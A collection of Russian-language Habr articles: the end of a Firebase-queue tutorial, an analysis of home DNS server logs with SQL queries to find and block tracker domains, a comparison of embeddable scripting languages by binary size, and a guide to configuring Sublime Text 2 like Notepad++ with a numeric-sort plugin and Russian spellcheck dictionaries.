/* Следим за изменениями в нашей задаче. Вызов progress() с сервера
изменит значение _progress, resolve() - удалит задачу.
*/
ref.child('addnode/'+task.key()).on('value', function(d) {
var v = d.val();
if(v == null) {
deferred.resolve();
} else {
deferred.notify(v._progress);
}
})
}});
return deferred.promise;
}
var rmNode = function(k) {
var deferred = Q.defer();
var task = ref.child('rmnode').push({ key: k }, function(e) { if (e) {
deferred.reject(e);
} else {
ref.child('addnode/'+task.key()).on('value', function(d) {
var v = d.val();
if(v == null) {
deferred.resolve();
} else {
deferred.notify(v._progress);
}
})
}});
return deferred.promise;
}
```
Firebase-queue прицепляем на ячейки задач. Как только появляется новая задача, уже на сервере производим необходимые манипуляции:
```
var ref = new Firebase('https://***.firebaseio.com');
var length;
ref.child('length').once('value', function(d) {
length = d.val();
});
var addNodeQueue = new Queue(ref.child('addnode'), {}, function(data, progress, resolve, reject) {
ref.child('elements').push(data.new, function(e) { if (e) {
reject(e);
} else {
progress(50);
length++;
ref.child('length').set(length, function(e) { if (e) {
reject(e.message);
} else {
resolve();
}});
}});
});
var rmNodeQueue = new Queue(ref.child('rmnode'), {}, function(data, progress, resolve, reject) {
ref.child('elements/'+data.key).remove(function(e) { if (e) {
reject(e);
} else {
progress(50);
length--;
ref.child('length').set(length, function(e) { if (e) {
reject(e);
} else {
resolve();
}});
}});
});
```
Правила будут следующие:
```
{
"rules": {
"addnode": {
"$taskId": {
"new": {
".validate": "newData.isString()"
}
}
},
"rmnode": {
"$taskId": {
"key": {
".validate": "root.child('elements/'+newData.val()).exists()"
// элемент с этим ключом должен находится в бд
}
}
}
}
}
```
Дабы не перегружать и сохранить обзорный характер статьи, решил опустить рассказ о правилах безопасности для задач, спецификациях задач и опциях, которые можно указать для **Queue()**. Это все прекрасно (как и вся их документация) описано на странице проекта на github'е. | https://habr.com/ru/post/266355/ | null | ru | null |
# Чем живёт домашний интернет и статистика сервера доменных имён
Домашний роутер (в данном случае FritzBox) умеет многое регистрировать: сколько трафика когда ходит, кто с какой скоростью подключён и т.п. Узнать, что скрывается под непонятными адресатами, мне помог сервер доменных имён (DNS) в локальной сети.
В целом, DNS оказал положительное влияние на домашнюю сеть: добавил скорость, устойчивость и управляемость.
Ниже приведена диаграмма, которая вызвала вопросы и необходимость разбираться в происходящем. В результатах уже отфильтрованы известные и рабочие запросы к серверам доменных имён.
По какой причине каждый день опрашиваются 60 непонятных доменов во время, когда все ещё спят?
Каждый день опрашиваются 440 неизвестных доменов в активное время. Кто это такие и что они делают?
#### Среднее количество запросов в день по часам
**SQL запрос отчёта**
```
WITH CLS AS ( /* prepare unique requests */
SELECT
DISTINCT DATE_NK,
STRFTIME( '%s', SUBSTR(DATE_NK,8,4) || '-' ||
CASE SUBSTR(DATE_NK,4,3)
WHEN 'Jan' THEN '01' WHEN 'Feb' THEN '02' WHEN 'Mar' THEN '03' WHEN 'Apr' THEN '04' WHEN 'May' THEN '05' WHEN 'Jun' THEN '06'
WHEN 'Jul' THEN '07' WHEN 'Aug' THEN '08' WHEN 'Sep' THEN '09' WHEN 'Oct' THEN '10' WHEN 'Nov' THEN '11'
ELSE '12' END || '-' || SUBSTR(DATE_NK,1,2) || ' ' || SUBSTR(TIME_NK,1,8) ) AS EVENT_DT,
REQUEST_NK, DOMAIN
FROM STG_BIND9_LOG )
SELECT
1 as 'Line: DNS Requests per Day for Hours',
strftime('%H:00', datetime(EVENT_DT, 'unixepoch')) AS 'Day',
ROUND(1.0*SUM(1)/COUNT(DISTINCT strftime('%d.%m', datetime(EVENT_DT, 'unixepoch'))), 1) AS 'Requests per Day'
FROM CLS
WHERE DOMAIN NOT IN ('in-addr.arpa', 'IN-ADDR.ARPA', 'local', 'dyndns', 'nas', 'ntp.org')
AND datetime(EVENT_DT, 'unixepoch') > date('now', '-20 days')
GROUP BY /* hour aggregate */
strftime('%H:00', datetime(EVENT_DT, 'unixepoch'))
ORDER BY strftime('%H:00', datetime(EVENT_DT, 'unixepoch'))
```
В ночное время беспроводный доступ отключается и активность устройст ожидаема, т.е. нет опроса непонятных доменов. Значит, наибольшая активность исходит от устройств с такими операционными системами, как Android, iOS и Blackberry OS.
Выведем домены, которые интенсивно опрашиваются. Интенсивность будут определять такие параметры, как количество запросов в день, количество дней активности и в скольких часах дня были замечены.
В списке оказались все ожидаемые подозреваемые.
#### Интенсивно опрашиваемые домены
**SQL запрос отчёта**
```
WITH CLS AS ( /* prepare unique requests */
SELECT
DISTINCT DATE_NK,
STRFTIME( '%s', SUBSTR(DATE_NK,8,4) || '-' ||
CASE SUBSTR(DATE_NK,4,3)
WHEN 'Jan' THEN '01' WHEN 'Feb' THEN '02' WHEN 'Mar' THEN '03' WHEN 'Apr' THEN '04' WHEN 'May' THEN '05' WHEN 'Jun' THEN '06'
WHEN 'Jul' THEN '07' WHEN 'Aug' THEN '08' WHEN 'Sep' THEN '09' WHEN 'Oct' THEN '10' WHEN 'Nov' THEN '11'
ELSE '12' END || '-' || SUBSTR(DATE_NK,1,2) || ' ' || SUBSTR(TIME_NK,1,8) ) AS EVENT_DT,
REQUEST_NK, DOMAIN
FROM STG_BIND9_LOG )
SELECT
1 as 'Table: Havy DNS Requests',
REQUEST_NK AS 'Request',
DOMAIN AS 'Domain',
REQ AS 'Requests per Day',
DH AS 'Hours per Day',
DAYS AS 'Active Days'
FROM (
SELECT
REQUEST_NK, MAX(DOMAIN) AS DOMAIN,
COUNT(DISTINCT REQUEST_NK) AS SUBD,
COUNT(DISTINCT strftime('%d.%m', datetime(EVENT_DT, 'unixepoch'))) AS DAYS,
ROUND(1.0*SUM(1)/COUNT(DISTINCT strftime('%d.%m', datetime(EVENT_DT, 'unixepoch'))), 1) AS REQ,
ROUND(1.0*COUNT(DISTINCT strftime('%d.%m %H', datetime(EVENT_DT, 'unixepoch')))/COUNT(DISTINCT strftime('%d.%m', datetime(EVENT_DT, 'unixepoch'))), 1) AS DH
FROM CLS
WHERE DOMAIN NOT IN ('in-addr.arpa', 'IN-ADDR.ARPA', 'local', 'dyndns', 'nas', 'ntp.org')
AND datetime(EVENT_DT, 'unixepoch') > date('now', '-20 days')
GROUP BY REQUEST_NK )
WHERE DAYS > 9 -- long period
ORDER BY 4 DESC, 5 DESC
LIMIT 20
```
Блокируем iсс.blackberry.com и iceberg.blackberry.com, которые производитель обоснует соображениями безопасности. Результат: при попытке подключения к WLAN, показывает страницу логина и больше никогда никуда не подключается. Разблокируем.
detectportal.firefox.com — это такой же механизм, только реализован в браузере Firefox. В случае необходимости логиниться в сеть WLAN, покажет сначала страницу логина. Не совсем понятно, зачем так часто пинговать адрес, но механизм доступно описан у производителя.
skype. Действия этой программы похожи на червя: скрывается и не даёт просто себя убить в панеле задач, в сети генерирует много трафика, каждые 10 минут пингует 4 домена. При видео-звонке постоянно мобит интернет-соединение, когда оно уже лучше не может быть. Пока является необходимым, поэтому остаётся.
upload.fp.measure.office.com — относится к Office 365, приличного описания не нашёл.
browser.pipe.aria.microsoft.com — приличного описания не нашёл.
Оба блокируем.
connect.facebook.net — чат-приложение facebook. Остаётся.
mediator.mail.ru Анализ всех запросов домена mail.ru показал наличие огромного количества рекламных ресурсов и сборщиков статистики, что вызывает недоверие. Домен mail.ru отправляется целиком в чёрный список.
google-analytics.com — на функциональность устройств не влияет, поэтому блокируем.
doubleclick.net — считает рекламные нажатия. Блокируем.
Много запросов идёт к googleapis.com. Блокирование привело к радостному отключению коротких сообщений в планшете, которые мне кажутся дурацкими. Но перестал работать playstore, поэтому разблокируем.
cloudflare.com — пишут, что любят открытый код и, вообще, много о себе пишут. Не совсем понятна интенсивность опроса домена, которая часто сильно выше самой активности в интернете. Пока оставим.
Таким образом, интенсивность запросов часто связана с необходимой функциональностью устройств. Но были обнаружены и те, кто перестарался с активностью.
#### Самые первые
В момент включения беспроводного интернета все ещё спят и есть возможность увидеть, какие запросы первыми отправляются в сеть. Итак, в 6:50 включается интернет и в первый десятиминутный промежуток времени ежедневно опрашиваются 60 доменов:
**SQL запрос отчёта**
```
WITH CLS AS ( /* prepare unique requests */
SELECT
DISTINCT DATE_NK,
STRFTIME( '%s', SUBSTR(DATE_NK,8,4) || '-' ||
CASE SUBSTR(DATE_NK,4,3)
WHEN 'Jan' THEN '01' WHEN 'Feb' THEN '02' WHEN 'Mar' THEN '03' WHEN 'Apr' THEN '04' WHEN 'May' THEN '05' WHEN 'Jun' THEN '06'
WHEN 'Jul' THEN '07' WHEN 'Aug' THEN '08' WHEN 'Sep' THEN '09' WHEN 'Oct' THEN '10' WHEN 'Nov' THEN '11'
ELSE '12' END || '-' || SUBSTR(DATE_NK,1,2) || ' ' || SUBSTR(TIME_NK,1,8) ) AS EVENT_DT,
REQUEST_NK, DOMAIN
FROM STG_BIND9_LOG )
SELECT
1 as 'Table: First DNS Requests at 06:00',
REQUEST_NK AS 'Request',
DOMAIN AS 'Domain',
REQ AS 'Requests',
DAYS AS 'Active Days',
strftime('%H:%M', datetime(MIN_DT, 'unixepoch')) AS 'First Ping',
strftime('%H:%M', datetime(MAX_DT, 'unixepoch')) AS 'Last Ping'
FROM (
SELECT
REQUEST_NK, MAX(DOMAIN) AS DOMAIN,
MIN(EVENT_DT) AS MIN_DT,
MAX(EVENT_DT) AS MAX_DT,
COUNT(DISTINCT strftime('%d.%m', datetime(EVENT_DT, 'unixepoch'))) AS DAYS,
ROUND(1.0*SUM(1)/COUNT(DISTINCT strftime('%d.%m', datetime(EVENT_DT, 'unixepoch'))), 1) AS REQ
FROM CLS
WHERE DOMAIN NOT IN ('in-addr.arpa', 'IN-ADDR.ARPA', 'local', 'dyndns', 'nas', 'ntp.org')
AND datetime(EVENT_DT, 'unixepoch') > date('now', '-20 days')
AND strftime('%H', datetime(EVENT_DT, 'unixepoch')) = strftime('%H', '2019-08-01 06:50:00')
GROUP BY REQUEST_NK
)
WHERE DAYS > 3 -- at least 4 days activity
ORDER BY 5 DESC, 4 DESC
```
Firefox проверяет WLAN соединение на наличие страницы с логином.
Citrix пингует свой сервер, хотя приложение активно не запущено.
Symantec проверяет сертификаты.
Mozilla проверяет обновления, хотя в настройках просил не делать этого.
mmo.de — игровой сервис. Скорее всего запрос инициирует чат facebook. Блокируем.
Apple активирует все свои сервисы. api-glb-fra.smoot.apple.com — судя по описанию, сюда отправляется каждое нажатие кнопки в целях поисковой оптимизации. Сильно подозрительно, но связано с функциональностью. Оставляем.
Далее идёт длинный список обращений к microsoft.com. Все домены, начиная с третьего уровня, блокируем.
**Количество поддоменов самых первых**
Итак, первые 10 минут включения беспроводного интернета.
Больше всего поддоменов опрашивает iOS — 32. За ним следует Android — 24, далее Windows — 15 и последний Blackberry — 9.
Одно только приложение facebook опрашивает 10 доменов, skype опрашивает 9 доменов.
#### Источник информации
Источником для анализа послужил лог файл локального сервера bind9, который содержит следующий формат:
```
01-Aug-2019 20:03:30.996 client 192.168.0.2#40693 (api.aps.skype.com): query: api.aps.skype.com IN A + (192.168.0.102)
```
Файл был импортирован в базу данных sqlite и проанализирован с помощью SQL запросов.
Сервер выполняет функцию кэша, запросы приходят с роутера, поэтому клиент запроса всегда один. Достаточно упрощённой структуры таблицы, т.е. для отчёта необходимо время запроса, сам запрос и домен второго уровня для группировки.
**DDL таблицы**
```
CREATE TABLE STG_BIND9_LOG (
LINE_NK INTEGER NOT NULL DEFAULT 1,
DATE_NK TEXT NOT NULL DEFAULT 'n.a.',
TIME_NK TEXT NOT NULL DEFAULT 'n.a.',
CLI TEXT, -- client
IP TEXT,
REQUEST_NK TEXT NOT NULL DEFAULT 'n.a.', -- requested domain
DOMAIN TEXT NOT NULL DEFAULT 'n.a.', -- domain second level
QUERY TEXT,
UNIQUE (LINE_NK, DATE_NK, TIME_NK, REQUEST_NK)
);
```
#### Вывод
Таким образом, в результате анализа лога сервера доменных имён более 50 записей были подвергнуты цензуре и помещены в список для блокировки.
Необходимость некоторых запросов хорошо описана производителями программного обеспечения и внушает доверие. Однако, большая часть активности необоснована и вызывает сомнение. | https://habr.com/ru/post/463851/ | null | ru | null |
# Сравнение встраиваемых ЯП по размеру в исполняемом файле
В рамках одного из моих SDK-проектов нам понадобилось добавить скриптование, которое бы оказало наименьший эффект на размер конечного бинарного файла, но при этом предоставляло хорошую фунциональность. Это дало старт проекту, который описан в этой статье. Прошу заметить, что т.к. в SDK у нас есть определенные требования, они частично перенеслись на язык скриптования, поэтому в проекте не участвовали некоторые достаточно известные встраиваемые ЯП (но Lua включен для сравнения).
Сайт проекта [доступен по ссылке](https://gitlab.com/nuald-grp/embedded-langs-footprint). Скажу сразу, что на данный момент для меня лично победителями являются Chibi-Scheme и Wasm3. Подробности для заинтересовавшихся под катом.
Базовые требования были следующие:
* Максимальная переносимость (только C/C++).
* Достаточно строгая типизация (не позволяющая складывать апельсины с яблоками), соответственно реализации ECMAScript не рассматривались.
* Лицензия, дружелюбная к коммерческим проектам.
Отдельным пунктом было требование к синтаксису ЯП по дружелюбности к транформации кода. Тут может возникнуть много вопросов, поэтому сразу уточню несколько моментов:
* Можно трансформировать и байт-код (если он поддерживается), это могло бы убрать требования к изначальному синтаксису. Однако, в общем случае это тяжелее сделать, плюс формат байт-кода может быть проприетарным или нестабильным.
* Обязательная трансформация, которая нам нужна, это очистка кода от отладочной и неиспользуемой функциональности. Это служит не только минификации, но и убирает некоторые векторы атак;
* Необязательная, но желательная трансформация — минификация приватных символов, это нужно больше для обфускации и минификации;
* Необязательная, но желательная трансформация — полное удаление переносов строк, служит больше для минимизации.
Первоначальный список учитывал только ЯП, которые поддерживают все требования (включая необязательные), но был расширен в соответствии с пожеланиями сообщества.
Изначальный список был взят с проекта, в котором они пытаются учесть все возможные встраиваемые ЯП: <https://github.com/dbohdan/embedded-scripting-languages> Возможно, список не полный, и не содержит дополнительные ЯП, которые могли бы удовлетворять вышеуказанным требованиям. Если вы знаете о таких, пожалуйста, дайте мне знать либо в личку, либо комментарием.
Тестовый код для всех ЯП включал в себя создание и вызов функции, которая складывает "Hello, " и результат вызова внешней (C/C++) функции "read", возвращающей "world". Код функции представлен в таблице как образец синтаксиса. Конечный исполняемый файл скомпилирован с оптимизацией по размеру и с удалением всех ненужных символов (GCC `-s`). Значения RSS снимались во время выполнения "read()".
Платформа: Linux amber 5.9.1-arch1-1 #1 SMP PREEMPT Sat, 17 Oct 2020 13:30:37 +0000 x86\_64 GNU/Linux
| ЯП | Размер ELF (KiB) | RSS (KiB) | Пример скрипта |
| --- | --- | --- | --- |
| [TinyScheme](http://tinyscheme.sourceforge.net/home.html) | 84 | 3048 | `(define fn(lambda () (string-append "Hello, " (read))))` |
| [Wasm3](https://github.com/wasm3/wasm3) | 159 | 6024 | N/A [1] |
| [MicroPython](https://micropython.org/) | 186 | 1968 | `import builtins; fn = lambda: 'Hello, ' + builtins.read()` |
| [Lua](http://www.lua.org/) | 247 | 1760 | `function fn() return "Hello, " .. read() end` |
| [Chibi-Scheme](http://synthcode.com/wiki/chibi-scheme) | 259 | 3828 | `(define fn(lambda () (string-append "Hello, " (read))))` |
| [Squirrel](http://squirrel-lang.org/) | 270 | 1808 | `function fn() { return "Hello, " + read(); }` |
| [ArkScript](https://arkscript-lang.github.io/) | 443 | 1760 | `(let fn(fun() (+ "Hello, " (read))))` |
| [Gravity](https://marcobambini.github.io/gravity/#/) | 500 | 3524 | `extern var read; func fn() { return "Hello, " + read(); }` |
| [Janet](https://janet-lang.org/) | 525 | 4152 | `(defn fn[] (string "Hello, " (read)))` |
| [ChaiScript](http://chaiscript.com/) | 1342 | 4912 | `def fn() { return "Hello, " + read(); }` |
| [AngelScript](http://www.angelcode.com/angelscript/) | 1878 | 4716 | `string fn() { return 'Hello, ' + read(); }` |
| [Python](https://www.python.org/) | 3543 | 9320 | `import usermod; fn = lambda: 'Hello, ' + usermod.read()` |
[1] Wasm3 работает с WebAssembly, поэтому пример кода привести нельзя (это будет бинарный дамп). Но приведу пример исходника Rust, который используется для генерации этого бинарного файла (`_m3`-функции используется для обмена данных с интерпретатором):
```
#[no_mangle]
pub fn r#fn() -> i32 {
let read_str = load_m3(unsafe { read() });
return store_m3(&format!("Hello, {}", read_str));
}
```
Описание и документация по этим ЯП приведены в GitLab-проекте, здесь же хочу поделиться своими впечатлениями:
* TinyScheme реализует лишь подмножество R5RS, используется в GIMP. Если бы не было Chibi-Scheme с **полноценной** поддержкой R7RS, возможно стал бы победителем. Также немного смущает хостинг на SourceForge используя SVN репозиторий с одной только trunk-веткой.
* ChaiScript очень интересный — наверное самый простой по удобству встраивания, плюс поддерживается крупными компаниями. К сожалению, тот факт, что он состоит только из заголовочных файлов, очень сильно замедляет компиляцию (мой Dell XPS 13 компилирует минимум 2-3 минуты). Также, он достаточно сильно увеличивает размер исполняемого файла.
* Gravity может понравиться любителям Swift. Достаточно интересный ЯП, но к сожалению, не так много документации. Ориентирован на мобильную разработку.
* Squirrel достаточно компактный, но достаточно сложно встраивать (любая ошибка в работе со стеком вызовов приводит к краху приложения — у них недостаточно хорошая система обработки ошибок).
* MicroPython не очень дружелюбен к встраиванию, надо либо ориентироваться, что во время компиляции он сгенерирует `main()` для вашего проекта, либо писать достаточно большие Makefile-ы. Документация по встраиванию тоже весьма скудна.
Победителя два:
* Wasm3, т.к. позволяет использовать разные ЯП для написания скриптов, и достаточно компактный. К сожалению, сам по себе формат WASM достаточно небогатый (например, нет поддержки строк и сборщика мусора), и хотя WASI улучшает ситуацию, многое приходится писать самим или полагаться на рантайм, добавляемый компиляторами. Также для тестового кода я реализовал небольшой менеджер памяти, чтобы обмениваться данными между песочницой и интерпретатором, ничего встроенного wasm3 пока не имеет.
* Chibi-Scheme, т.к. поддерживает современный компактный Scheme (R7RS) и имеет достаточно большую дополнительную библиотеку (плюс стандартная библиотека Scheme и возможность использовать уже написанный код). Естественно, встраивание библиотек увеличит конечный код, но даже без библиотек он может полноценно работать (в тестовом коде я не встраивал `init-7.scm` полностью, а только добавил процедуру `string-append`).
Встраивание внешних процедур достаточно простое (хотя я вставил лямбду, Chibi-Scheme полноценно работает с чистым C):
```
res = sexp_define_foreign(*ctx, sexp_context_env(*ctx), "read", 0,
[](sexp ctx, sexp self, sexp_sint_t n) -> sexp {
return sexp_c_string(ctx, "world", -1);
});
```
Из интересных дополнительных модулей хотел бы отметить:
* [(chibi crypto rsa)](http://synthcode.com/scheme/chibi/lib/chibi/crypto/rsa.html) — RSA-шифрование
* [(chibi json)](http://synthcode.com/scheme/chibi/lib/chibi/json.html) — операции с JSON
* [(chibi net http-server)](http://synthcode.com/scheme/chibi/lib/chibi/net/http-server.html) — HTTP-сервер
К сожалению, документация небогатая, но компенсируется доступом ко всему исходному коду. Плюс, Chibi-Scheme известен в своих кругах, и не будет потенциально брошен или переведен в режим минимальной поддержки, как некоторые другие потенциальные кандидаты.
---
Буду рад услышать все комментарии, и рассмотреть другие ЯП в рамках вышеупомянутых требований. Исследование до сих продолжается, и возможно победитель сменится, но это уже будет зависеть от вас. | https://habr.com/ru/post/524190/ | null | ru | null |
# Превращаем Sublime Text 2 в Notepad++
Сейчас огромную популярность набирает текстовой редактор **Sublime Text 2**. Я же в давние времена перешел на **Notepad++** и много лет им активно пользовался, радуясь и восхищаясь. И когда стали появляться слухи, что Sublime теснит Notepad++, то решил проверить и попробовать на него перейти. Но, к сожалению, обнаружил, что много фишек, которым мне так нравился Notepad++ (не все идут в исходных настройках) я не вижу, несмотря на обилие новых других интересных возможностей. И было решено попробовать настроить Sublime так, чтобы им можно было пользоваться также, как и Notepad++ (с плагинами), имея попутно возможности Sublime Text 2, коих нет в первом редакторе. И да, Sublime Text 2 настраивался в Windows 7.
#### Введение
---
Данная статья показывает, какие особенности можно повторить, а какие еще ищут своего решения. Предполагается, что базовые настройки Sublime Вы уже провели:
* Русский язык корректно отображается;
* Менеджер пакетов установлен.
Итак, пойдем по порядку тех возможностей и деталей, которые мы можем переделать и настроить в Sublime Text 2.
#### Внешний вид
---
Цветовая схема Sublime Text 2 по умолчанию непривычна для пользователей Notepad++, да и сам шрифт «не такой» после многолетней работы.
[Danny Connell](http://www.dconnell.co.uk/blog/index.php/2012/08/02/notepad-color-scheme-for-sublime-text-2/ "http://www.dconnell.co.uk/blog/index.php/2012/08/02/notepad-color-scheme-for-sublime-text-2/") предложил решение (далее почти дословно его слова). Качаем файл [Notepad++.zip](https://dl.dropbox.com/u/42978701/Notepad%2B%2B.zip).
* Переходим в папку цветовых схем. В Windows 7 она находится по адресу: **C:\Users\[your username]\AppData\Roaming\Sublime Text 2\Packages\Color Scheme — Default** или по другому **%appdata%/Sublime Text 2/Packages/Color Scheme — Default** или **Preferences** → **Browse Packages**, а оттуда в папку **Color Scheme — Default**. И копируем содержимое архива в эту папку.
* В программе идем по меню **Preferences** → **Color Scheme** → **Notepad++**.
* Изменим шрифт и другие настройки. Для этого идем **Preferences** → **Settings — User**.
* Добавляем нижеприведенный текст и сохраняем **Ctrl**+**S**.
```
"font_face": "Courier New",
"highlight_line": true,
"line_padding_bottom": 1,
"line_padding_top": 1
```
При этом не забываем, что в файле настроек последняя строчка была без запятой, и ее надо поставить. В итоге у меня получился следующий текст настроек:
```
{
"color_scheme": "Packages/Color Scheme - Default/Notepad++.tmTheme",
"font_face": "Courier New",
"highlight_line": true,
"line_padding_bottom": 1,
"line_padding_top": 1
}
```
В итоге, Sublime выглядит гораздо привычнее:
И можно включить постоянный перенос строки строк (но это по желанию). Идем **Preferences** → **Settings — Default**, находим строчку:
```
"word_wrap": "auto",
```
и слово **auto** заменяем на **true**.
#### Контекстное меню
---
Разочаровало отсутствие в Windows контекстного меню открытия любого файла, как в Notepad++:
Как оказалось, при установке Sublime Text 2 нужно отметить галочку:
Либо я не заметил этого в прошлые разы, либо функция появилась недавно.
#### Сортировка строк
---
**F9** и **Ctrl**+**F9** (по чувствительности к регистру отличаются) — позволяет отсортировать выделенные строки в алфавитном порядке (в Notepad++ этим занимается плагин TextFX). Но не позволяет отсортировать корректно числа в строках, так как строки воспринимаются как строки, а не как числа. То есть строки:
```
5
1
10
```
будут отсортированы как:
```
1
10
5
```
В Notepad++ есть для этого плагин NppColumnSort. Как быть тут? Нашел способ, как поменять основную функцию сортировки. Но в Notepad++ плагины TextFX и NppColumnSort реализуют две разные функции, а в Sublime нам нужно либо одной, либо другой пользоваться. Что делаем? Пишем дополнительный плагин, заодно и потренируемся.
**Tools** → **New Plugin...** и создается заготовка для нашего плагина. Плагин я переделывал из плагина обычной сортировки **%appdata%/Sublime Text 2/Packages/Default/sort.py**. Заменяем код заготовки на такой:
```
import sublime, sublime_plugin
import re
# Uglyness needed until SelectionRegions will happily compare themselves
def srcmp(a, b):
aa = a.begin();
ba = b.begin();
if aa < ba:
return -1;
elif aa == ba:
return cmp(a.end(), b.end())
else:
return 1;
def case_insensitive_sort(txt):
# txt.sort(lambda a, b: cmp(a.lower(), b.lower()))
# return txt
convert = lambda text: int(text) if text.isdigit() else text.lower()
alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9.,]+)', key) ]
return sorted(txt, key=alphanum_key)
def case_sensitive_sort(txt):
# txt.sort(lambda a, b: cmp(a, b))
# return txt
convert = lambda text: int(text) if text.isdigit() else text
alphanum_key = lambda key: [ convert(c) for c in re.split('([0-9.,]+)', key) ]
return sorted(txt, key=alphanum_key)
def shrink_wrap_region( view, region ):
a, b = region.begin(), region.end()
for a in xrange(a, b):
if not view.substr(a).isspace():
break
for b in xrange(b-1, a, -1):
if not view.substr(b).isspace():
b += 1
break
return sublime.Region(a, b)
def shrinkwrap_and_expand_non_empty_selections_to_entire_line(v):
sw = shrink_wrap_region
regions = []
for sel in v.sel():
if not sel.empty():
regions.append(v.line(sw(v, v.line(sel))))
v.sel().subtract(sel)
for r in regions:
v.sel().add(r)
def permute_lines(f, v, e):
shrinkwrap_and_expand_non_empty_selections_to_entire_line(v)
regions = [s for s in v.sel() if not s.empty()]
if not regions:
regions = [sublime.Region(0, v.size())]
regions.sort(srcmp, reverse=True)
for r in regions:
txt = v.substr(r)
lines = txt.splitlines()
lines = f(lines)
v.replace(e, r, u"\n".join(lines))
class SortLinesNumericCommand(sublime_plugin.TextCommand):
def run(self, edit, case_sensitive=False,
reverse=False,
remove_duplicates=False):
view = self.view
if case_sensitive:
permute_lines(case_sensitive_sort, view, edit)
else:
permute_lines(case_insensitive_sort, view, edit)
if reverse:
permute_lines(reverse_list, view, edit)
if remove_duplicates:
permute_lines(uniquealise_list, view, edit)
```
Здесь убраны все ненужные функции, а изменение претерпели функции **case\_insensitive\_sort** и **case\_sensitive\_sort** (в закомментированном виде оригинальный текст функций). Сама непосредственно команда, которая реализовывается в классе:
```
class SortLinesNumericCommand(sublime_plugin.TextCommand):
```
Поэтому название класса должно быть отличным от названий других команд Sublime. Было **SortLinesCommand** стало **SortLinesNumericCommand** (в конце должно быть часть Command). А как будет называться команда в настройках Sublime? Может для Питона это обычно (или это фишка Sublime?), но я в нем почти не работал, и для меня это было малость неочевидно. Итак, берем название класса **SortLinesNumericCommand**, откидываем часть Command, а в полученной части всё приводим к малому регистру, но перед буквами, что были заглавными, кроме первой, ставим нижнее подчеркивание. То есть команда теперь в Sublime будет называться **sort\_lines\_numeric**.
Сохраняем данный файл в папке **%appdata%/Sublime Text 2/Packages/**, например, под именем **SortLinesNumeric.py**. Теперь у нас данный плагин уже загружен в Sublime, и по сути мы можем вызывать его функции.
Небольшое отступление. Если Вы разрабатываете свой плагин, сохранили его, и у Вас плагин без ошибок и что-то выполняет, то если в дальнейшей разработке Вы плагин привели к виду, где есть критические ошибки, сохранили его и проверяете, то ошибок не увидите: так как Sublime будет использовать загруженный в память рабочий вариант плагина. Мне помогал перезапуск Sublime.
Итак, плагин с функцией сортировку у нас написан. Теперь назначим функции **sort\_lines\_numeric** горячие клавиши и затащим ее в контекстное меню. Открываем файл **%appdata%/Sublime Text 2/Packages/Default/Default (Windows).sublime-keymap** (в соответствии с Вашей операционкой). найдите там строчку:
```
{ "keys": ["ctrl+f9"], "command": "sort_lines", "args": {"case_sensitive": true} },
```
По аналогии с ней добавим строчку нашей команды:
```
{ "keys": ["ctrl+shift+f9"], "command": "sort_lines_numeric", "args": {"case_sensitive": true} },
```
Теперь выделенный текст при нажатии **ctrl** + **shift** + **f9** отсортируется с учетом того, что там могут быть числа.
Открываем файл **%appdata%/Sublime Text 2/Packages/Default/Context.sublime-menu**. Здесь собраны команды для контекстного меню. Добавляем нашу команду и получаем такой файл (я еще добавил пустую строчку, чтобы отделить пользовательские команды):
```
[
{ "command": "copy" },
{ "command": "cut" },
{ "command": "paste" },
{ "caption": "-", "id": "selection" },
{ "command": "select_all" },
{ "caption": "-", "id": "file" },
{ "command": "open_in_browser", "caption": "Open in Browser" },
{ "command": "open_dir", "args": {"dir": "$file_path", "file": "$file_name"}, "caption": "Open Containing Folder…" },
{ "command": "copy_path", "caption": "Copy File Path" },
{ "command": "reveal_in_side_bar", "caption": "Reveal in Side Bar" },
{ "caption": "-", "id": "usercommand" },
{ "command": "sort_lines_numeric", "caption": "Сортировка с учетом чисел" },
{ "caption": "-", "id": "end" }
]
```
Теперь у нас появилась в контекстном меню нужная нам функция. Аналогично можно добавить любые другие команды.
Пример работы плагина:
```
Текст
Кот
5
50
Вот так
1
10
10005
7
```
сортируется так:
```
1
5
7
10
50
10005
Вот так
Кот
Текст
```
#### Проверка орфографии
---
В Notepad++ проверка осуществляется через Aspell, правда подчеркивание слов с ошибками там нет. Был один плагин, но он не работает с последними версиями программы. В Sublime проверка орфографии встроена, но нет русского словаря. Используется чуть отредактированный способ [Comphobby.ru](http://comphobby.ru/2012/05/26/proverka-orfografii-spell-check-v-sublime-text-2/ "http://comphobby.ru/2012/05/26/proverka-orfografii-spell-check-v-sublime-text-2/").
Идем на сайт [http://extensions.services.openoffice.org/en/dictionaries](http://extensions.services.openoffice.org/en/dictionaries "http://extensions.services.openoffice.org/en/dictionaries"). Так скачиваем какой-нибудь русский словарь. Я выбрал **Русский орфографический словарь (АОТ е+ё). Russian spellcheck dict (ieyo). Based on works of AOT.ru.**
Если файл имеет расширение не zip, то переименовываем и меняем на **zip**.
Можете скачать здесь: [dict\_ru\_RU-AOT-0.2.7-ieyo](https://dl.dropbox.com/u/42978701/dict_ru_RU-AOT-0.2.7-ieyo.zip).
Из архива вытягиваем два файла с расширениями **.aff** и **.dic**. У меня это файлы **russian-aot-ieyo.aff** и **russian-aot-ieyo.dic**. И кидаем файлы в папку с плагинами **%appdata%/Sublime Text 2/Packages/**.
Теперь открываем эти файлы в Sublime. Проверьте, чтобы там были нормальные русские слова, а не русские произвольные наборы букв, что означает неверную кодировку. И если в файле с раcширением .aff первой строчкой идет:
```
SET KOI8-R
```
то, значит кодировка KOI8-R. А нам нужно сохранить в UTF-8.
Для обоих файлов идем **File** → **Reopen with Encoding** → **Cyrillic (KOI8-R)**. Теперь в файлах должны появиться осмысленные слова маленькими буквами. И далее идем **File** → **Save with Encoding** → **UTF-8** и сохраняем **Ctrl**+**S**.
И в файле с раcширением .aff первую строчку меняем на:
```
SET UTF-8
```
Теперь выбираем наш словарь **View** → **Dictionary** → **[наш словарь]** и включаем режим проверки орфографии **F6**:
Теперь все наши ошибки подсвечены:
Я также с помощью утилиты [http://habrahabr.ru/post/158441/](http://habrahabr.ru/post/158441/ "http://habrahabr.ru/post/158441/") собрал из словаря [Firefox](http://forum.mozilla-russia.org/viewtopic.php?id=15316 "http://forum.mozilla-russia.org/viewtopic.php?id=15316") более объемный словарь: [russian\_english](https://dl.dropbox.com/u/42978701/russian_english.zip).
Это уже готовые **.aff** и **.dic** файлы. Просто копируем их в папку с плагинами и в меню выбираем словарь. В этом словаре нет проблем с заглавными буквами. Плюс это русско-английский словарь.
Если кто сможет подсказать более совершенный англо-русский словарь — буду рад.
